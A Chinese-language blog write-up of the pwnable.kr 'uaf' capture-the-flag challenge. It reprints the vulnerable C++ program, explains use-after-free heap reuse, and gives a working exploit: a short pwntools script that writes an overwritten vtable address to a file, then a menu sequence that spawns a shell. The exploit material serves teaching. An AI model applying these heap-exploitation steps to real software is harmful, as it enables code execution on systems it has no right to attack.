https://www.cnblogs.com/p4nda/p/7149870.html
目测是比较接近pwnable的一道题。考察了uaf(use after free的内容),我觉得说白了就是指针没有初始化的问题。
ssh uaf@pwnable.kr -p2222 (pw:guest)
先看一下代码
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;
class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};
class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;
switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}
return 0;
}
很明显的是有虚函数的继承,内存的申请,内存的释放,利用思路就是改函数的虚表地址达到执行命令的作用。
执行的命令也不用写shellcode,源代码中的getshell函数就可以用。
首先,UAF是个啥,名字叫Use-After-Use,就是释放后重用,是堆上的一种漏洞,就是在把申请的内存释放后,指向之前内存的指针没有重置为NULL,导致该指针还能访问原来的内存。
这道题也是一样。当释放了w、m后,当再次调用w、m指针就会出问题。
当然直接调用时不会重新执行w->introduct函数的,这是因为堆块会有分配和未分配两种状态,在状态转换时会修改堆块内容。
当然,linux在堆分配中有一种快速分配机制,导致了该程序存在的漏洞。
详细可以参考《C和C++安全编码》一书。
在这道题中,如果想利用堆快速分配的机制,需要请求分配的堆块大小是一样的,即argv[1]=sizeof(Women)
这个大小可以再汇编代码中找到
0x18 = 24 所以argv[1]=24
通过跟踪分配可以跟踪到虚表的内容,具体跟踪如下图:
可以发现,虚表地址是位于结构体内存的最前面8个字节。而函数的调用就是这个虚表指针+偏移
比如Human->give_shell 就是 vTable_ptr + 0
因此,仅需修改一个指针即可,再看修改位置,read函数是从argv[2]所指的文件中获取,所以要把这个地址写到文件中,并且不需要填充。
写的内容需要调用give_shell函数,由于函数后来要调用introduce函数,地址是 vTable_ptr + 8,因此将虚表指针改写为0x401588即可。
先写一个/tmp/p4nda文件,内容是0x401588:
from pwn import *
addr = 0x401588
f = open('/tmp/p4nda',"wb")
f.write(p64(addr))
f.close
再顺序执行3->2->2->1即可
note:执行两次2的原因是分配的顺序是后释放先分配,而函数执行的顺序恰好是反过来的,因此需要执行两次,让m指针也被分配就可以了。